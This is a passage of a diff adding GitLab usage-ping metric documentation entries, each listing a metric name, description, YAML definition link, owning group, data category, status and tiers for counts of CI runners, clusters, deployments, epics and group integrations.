+Total pipelines from an Auto DevOps template
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175516_ci_pipeline_config_auto_devops.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.ci_pipeline_config_repository`
+
+Total Pipelines from templates in repository
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175518_ci_pipeline_config_repository.yml)
+
+Group: `group::pipeline execution`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.ci_pipeline_schedules`
+
+Pipeline schedules in GitLab
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175523_ci_pipeline_schedules.yml)
+
+Group: `group::pipeline execution`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.ci_runners`
+
+Total configured Runners in project
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175520_ci_runners.yml)
+
+Group: `group::pipeline execution`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.ci_runners_group_type_active`
+
+Total active instance Runners
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210502050341_ci_runners_group_type_active.yml)
+
+Group: `group::pipeline execution`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.ci_runners_group_type_active_online`
+
+Total active and online group Runners
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210502051922_ci_runners_group_type_active_online.yml)
+
+Group: `group::pipeline execution`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.ci_runners_instance_type_active`
+
+Total active group Runners
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210502045402_ci_runners_instance_type_active.yml)
+
+Group: `group::pipeline execution`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.ci_runners_instance_type_active_online`
+
+Total active and online instance Runners
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210502051651_ci_runners_instance_type_active_online.yml)
+
+Group: `group::pipeline execution`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.ci_runners_online`
+
+Total online Runners
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210502050942_ci_runners_online.yml)
+
+Group: `group::pipeline execution`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.ci_runners_project_type_active`
+
+Total active project Runners
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210502050834_ci_runners_project_type_active.yml)
+
+Group: `group::pipeline execution`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.ci_runners_project_type_active_online`
+
+Total active and online project Runners
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210502052036_ci_runners_project_type_active_online.yml)
+
+Group: `group::pipeline execution`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.ci_triggers`
+
+Total configured Triggers in project
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175521_ci_triggers.yml)
+
+Group: `group::pipeline execution`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.clusters`
+
+Total GitLab Managed clusters both enabled and disabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175232_clusters.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.clusters_applications_cert_managers`
+
+Total GitLab Managed clusters with GitLab Managed App:Cert Manager installed
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175259_clusters_applications_cert_managers.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.clusters_applications_cilium`
+
+Total GitLab Managed clusters with GitLab Managed App:Cilium installed
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175312_clusters_applications_cilium.yml)
+
+Group: `group::configure`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.clusters_applications_crossplane`
+
+Total GitLab Managed clusters with GitLab Managed App:Crossplane installed
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175301_clusters_applications_crossplane.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.clusters_applications_elastic_stack`
+
+Total GitLab Managed clusters with GitLab Managed App:Elastic Stack installed
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175309_clusters_applications_elastic_stack.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.clusters_applications_helm`
+
+Total GitLab Managed clusters with GitLab Managed App:Helm enabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175255_clusters_applications_helm.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.clusters_applications_ingress`
+
+Total GitLab Managed clusters with GitLab Managed App:Ingress installed
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175257_clusters_applications_ingress.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.clusters_applications_jupyter`
+
+Total GitLab Managed clusters with GitLab Managed App:Jupyter installed
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175310_clusters_applications_jupyter.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.clusters_applications_knative`
+
+Total GitLab Managed clusters with GitLab Managed App:Knative installed
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175307_clusters_applications_knative.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.clusters_applications_prometheus`
+
+Total GitLab Managed clusters with GitLab Managed App:Prometheus installed
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175303_clusters_applications_prometheus.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.clusters_applications_runner`
+
+Total GitLab Managed clusters with GitLab Managed App:Runner installed
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175305_clusters_applications_runner.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.clusters_disabled`
+
+Number of Kubernetes clusters attached to GitLab currently disabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175242_clusters_disabled.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.clusters_enabled`
+
+Number of Kubernetes clusters attached to GitLab currently enabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175234_clusters_enabled.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.clusters_management_project`
+
+Total GitLab Managed clusters with defined cluster management project
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175314_clusters_management_project.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.clusters_platforms_eks`
+
+Total GitLab Managed clusters provisioned with GitLab on AWS EKS
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175250_clusters_platforms_eks.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.clusters_platforms_gke`
+
+Total GitLab Managed clusters provisioned with GitLab on GCE GKE
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175251_clusters_platforms_gke.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.clusters_platforms_user`
+
+Total GitLab Managed clusters that are user provisioned
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175253_clusters_platforms_user.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.commit_comment`
+
+Count of total unique commit comments. Does not include MR diff comments
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182004_commit_comment.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.confidential_epics`
+
+Count of confidential epics
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216181205_confidential_epics.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `counts.container_scanning_jobs`
+
+Count of Container Scanning jobs run
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216175458_container_scanning_jobs.yml)
+
+Group: `group::container security`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `counts.coverage_fuzzing_jobs`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183146_coverage_fuzzing_jobs.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `counts.cycle_analytics_views`
+
+Total visits to VSA (both group- and project-level) all time
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216174832_cycle_analytics_views.yml)
+
+Group: `group::optimize`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.dast_jobs`
+
+Count of DAST jobs run
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175612_dast_jobs.yml)
+
+Group: `group::dynamic analysis`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `counts.dast_on_demand_pipelines`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183149_dast_on_demand_pipelines.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `counts.dependency_list_usages_total`
+
+Count to Dependency List page views
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216175211_dependency_list_usages_total.yml)
+
+Group: `group::composition analysis`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `counts.dependency_scanning_jobs`
+
+Count of Dependency Scanning jobs run
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216175213_dependency_scanning_jobs.yml)
+
+Group: `group::composition analysis`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `counts.deploy_keys`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181908_deploy_keys.yml)
+
+Group: `group::release`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `counts.deployments`
+
+Total deployments count
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210201124934_deployments.yml)
+
+Group: `group::ops release`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.design_management_designs_create`
+
+Number of designs that were created
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180740_design_management_designs_create.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.design_management_designs_delete`
+
+Number of designs that were deleted
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180743_design_management_designs_delete.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.design_management_designs_update`
+
+Number of updates to designs
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180741_design_management_designs_update.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.environments`
+
+Total available and stopped environments
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181914_environments.yml)
+
+Group: `group::release`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `counts.epic_issues`
+
+Count of issues that are assigned to an epic
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216181208_epic_issues.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `counts.epics`
+
+Count of all epics
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216181206_epics.yml)
+
+Group: `group::product planning`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `counts.epics_deepest_relationship_level`
+
+Count of the deepest relationship level for epics
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216181212_epics_deepest_relationship_level.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `counts.failed_deployments`
+
+Total failed deployments
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181912_failed_deployments.yml)
+
+Group: `group::release`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `counts.feature_flags`
+
+Number of feature flag toggles
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181249_feature_flags.yml)
+
+Group: `group::progressive delivery`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `counts.geo_event_log_max_id`
+
+Number of replication events on a Geo primary
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216180405_geo_event_log_max_id.yml)
+
+Group: `group::geo`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `counts.geo_nodes`
+
+Total number of sites in a Geo deployment
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210201124936_geo_nodes.yml)
+
+Group: `group::geo`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `counts.grafana_integrated_projects`
+
+Total Grafana integrations attached to projects
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180927_grafana_integrated_projects.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `counts.group_clusters_disabled`
+
+Total GitLab Managed disabled clusters previously attached to groups
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175246_group_clusters_disabled.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.group_clusters_enabled`
+
+Total GitLab Managed clusters attached to groups
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175238_group_clusters_enabled.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups`
+
+Total count of groups as of usage ping snapshot
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180750_groups.yml)
+
+Group: `group::access`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_asana_active`
+
+Count of groups with active integrations for Asana
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175625_groups_asana_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_assembla_active`
+
+Count of groups with active integrations for Assembla
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175636_groups_assembla_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_bamboo_active`
+
+Count of groups with active integrations for Bamboo CI
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175647_groups_bamboo_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_bugzilla_active`
+
+Count of groups with active integrations for Bugzilla
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175659_groups_bugzilla_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_buildkite_active`
+
+Count of groups with active integrations for Buildkite
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175710_groups_buildkite_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_campfire_active`
+
+Count of groups with active integrations for Campfire
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175721_groups_campfire_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_confluence_active`
+
+Count of groups with active integrations for Confluence
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175733_groups_confluence_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_custom_issue_tracker_active`
+
+Count of groups with active integrations for a Custom Issue Tracker
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175744_groups_custom_issue_tracker_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_datadog_active`
+
+Count of groups with active integrations for Datadog
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182549_groups_datadog_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_discord_active`
+
+Count of groups with active integrations for Discord
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175755_groups_discord_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_drone_ci_active`
+
+Count of groups with active integrations for Drone CI
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175806_groups_drone_ci_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_emails_on_push_active`
+
+Count of groups with active integrations for Emails on Push
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175817_groups_emails_on_push_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_ewm_active`
+
+Count of groups with active integrations for EWM
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182616_groups_ewm_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_external_wiki_active`
+
+Count of groups with active integrations for External Wiki
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175828_groups_external_wiki_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_flowdock_active`
+
+Count of groups with active integrations for Flowdock
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175839_groups_flowdock_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_github_active`
+
+Count of groups with active integrations for GitHub
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216175850_groups_github_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `counts.groups_hangouts_chat_active`
+
+Count of groups with active integrations for Hangouts Chat
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175901_groups_hangouts_chat_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_hipchat_active`
+
+Count of groups with active integrations for HipChat
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175912_groups_hipchat_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `removed`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_inheriting_asana_active`
+
+Count of active groups inheriting integrations for Asana
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175632_groups_inheriting_asana_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_inheriting_assembla_active`
+
+Count of active groups inheriting integrations for Assembla
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175644_groups_inheriting_assembla_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_inheriting_bamboo_active`
+
+Count of active groups inheriting integrations for Bamboo CI
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175655_groups_inheriting_bamboo_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_inheriting_bugzilla_active`
+
+Count of active groups inheriting integrations for Bugzilla
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175706_groups_inheriting_bugzilla_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_inheriting_buildkite_active`
+
+Count of active groups inheriting integrations for Buildkite
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175717_groups_inheriting_buildkite_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_inheriting_campfire_active`
+
+Count of active groups inheriting integrations for Campfire
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175729_groups_inheriting_campfire_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_inheriting_confluence_active`
+
+Count of active groups inheriting integrations for Confluence
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175740_groups_inheriting_confluence_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_inheriting_custom_issue_tracker_active`
+
+Count of active groups inheriting integrations for a Custom Issue Tracker
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175751_groups_inheriting_custom_issue_tracker_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_inheriting_datadog_active`
+
+Count of active groups inheriting integrations for Datadog
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182557_groups_inheriting_datadog_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_inheriting_discord_active`
+
+Count of active groups inheriting integrations for Discord
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175802_groups_inheriting_discord_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_inheriting_drone_ci_active`
+
+Count of active groups inheriting integrations for Drone CI
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175813_groups_inheriting_drone_ci_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_inheriting_emails_on_push_active`
+
+Count of active groups inheriting integrations for Emails on Push
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175824_groups_inheriting_emails_on_push_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_inheriting_ewm_active`
+
+Count of active groups inheriting integrations for EWM
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182623_groups_inheriting_ewm_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.groups_inheriting_external_wiki_active`
+
+Count of active groups inheriting integrations for External Wiki
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175835_groups_inheriting_external_wiki_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
